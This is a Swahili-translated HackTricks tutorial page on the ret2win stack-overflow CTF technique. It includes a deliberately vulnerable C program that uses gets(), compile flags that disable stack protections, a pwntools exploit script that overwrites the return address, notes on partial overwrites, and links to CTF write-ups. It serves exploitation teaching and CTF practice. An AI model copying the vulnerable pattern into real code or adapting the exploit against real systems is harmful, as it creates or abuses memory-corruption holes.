hacktricks/binary-exploitation/stack-overflow/ret2win.md

# Ret2win

<details>

<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

Njia nyingine za kusaidia HackTricks:

* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

</details>

## Taarifa Msingi

**Mashindano ya Ret2win** ni jamii maarufu katika mashindano ya **Capture The Flag (CTF)**, hasa katika kazi zinazohusisha **uchimbaji wa binary**. Lengo ni kutumia udhaifu katika binary iliyopewa kutekeleza kazi maalum, isiyoitwa ndani ya binary, mara nyingi ikiitwa kama `win`, `flag`, n.k. Kazi hii, inapotekelezwa, kawaida huchapisha bendera au ujumbe wa mafanikio. Changamoto kawaida inahusisha kubadilisha **anwani ya kurudi** kwenye steki ili kuelekeza mtiririko wa utekelezaji kwenye kazi inayotakiwa. Hapa kuna maelezo zaidi pamoja na mifano:

### Mfano wa C

Fikiria programu rahisi ya C yenye udhaifu na kazi ya `win` ambayo tunakusudia kuita:
```c
#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}
```
Ili kutekeleza programu hii bila ulinzi wa stack na na **ASLR** imelemazwa, unaweza kutumia amri ifuatayo:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: Kupasha programu kama binary ya biti 32 (hii ni hiari lakini kawaida katika changamoto za CTF).
* `-fno-stack-protector`: Lemaza ulinzi dhidi ya kujaa kwa steki.
* `-z execstack`: Ruhusu utekelezaji wa nambari kwenye steki.
* `-no-pie`: Lemaza Utekelezaji wa Kielelezo cha Nafasi huru kuhakikisha kuwa anwani ya kazi ya `win` haibadiliki.
* `-o vulnerable`: Ita faili ya pato `vulnerable`.

### Mbinu ya Udukuzi ya Python kwa Kutumia Pwntools

Kwa udukuzi, tutatumia **pwntools**, mfumo imara wa CTF kwa kuandika udukuzi. Skripti ya udukuzi itaunda mzigo wa kujaa kwa buffer na kubadilisha anwani ya kurudi na anwani ya kazi ya `win`.
```python
from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()
```
Ili kupata anwani ya kazi ya `win`, unaweza kutumia **gdb**, **objdump**, au chombo kingine chochote kinachokuwezesha kukagua faili za binary. Kwa mfano, na `objdump`, unaweza kutumia:
```sh
objdump -d vulnerable | grep win
```
Amri ifuatayo itakuonyesha mkusanyiko wa `win` function, pamoja na anwani yake ya kuanzia.

Skripti ya Python inatuma ujumbe ulioandaliwa kwa umakini ambao, unapopitishwa na `vulnerable_function`, unafunika buffer na kubadilisha anwani ya kurudi kwenye stack na anwani ya `win`. Wakati `vulnerable_function` inaporudi, badala ya kurudi kwa `main` au kutoka, inaruka kwa `win`, na ujumbe unachapishwa.

## Kinga

* [**PIE**](../common-binary-protections-and-bypasses/pie/) **inapaswa kuwa imelemazwa** ili anwani iweze kutegemewa kila wakati wa utekelezaji au anwani ambapo kazi itahifadhiwa haitakuwa sawa daima na utahitaji kuvuja fulani ili kugundua wapi kazi ya ushindi imehifadhiwa. Katika baadhi ya kesi, wakati kazi inayosababisha kujazwa ni `read` au sawa, unaweza kufanya **Kujaza Sehemu** ya 1 au 2 ya herufi kubadilisha anwani ya kurudi iwe kazi ya ushindi. Kwa sababu ya jinsi ASLR inavyofanya kazi, herufi tatu za mwisho za hex hazijaribiwi, kwa hivyo kuna **nafasi ya 1/16** (1 herufi) ya kupata anwani sahihi ya kurudi.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuwa imelemazwa au anwani iliyoharibiwa ya kurudi ya EIP haitafuatwa kamwe.

## Mifano na Marejeo Mengine

* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32bit, hakuna ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64 bits na ASLR, na kuvuja kwa anwani ya benki
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 bits, hakuna ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32 bits, hakuna ASLR, kujaza mara mbili ndogo, ya kwanza kujaza stack na kuongeza ukubwa wa kujaza la pili
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, hakuna canary, nx, hakuna pie, string ya muundo ya kubadilisha anwani ya `fflush` na kazi ya ushindi (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32 bit, nx, hakuna kitu kingine, kujaza sehemu ya EIP (1Byte) kuita kazi ya ushindi
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32 bit, nx, hakuna kitu kingine, kujaza sehemu ya EIP (1Byte) kuita kazi ya ushindi
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Programu inathibitisha tu herufi ya mwisho ya nambari ili kuhakiki ukubwa wa kuingia, kwa hivyo ni rahisi kuongeza ukubwa wowote muda mrefu kama herufi ya mwisho iko ndani ya safu inayoruhusiwa. Kisha, kuingia kunajenga kujaza buffer lililoathiriwa na ret2win.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64 bit, relro, hakuna canary, nx, pie. Kujaza sehemu kuita kazi ya ushindi (ret2win)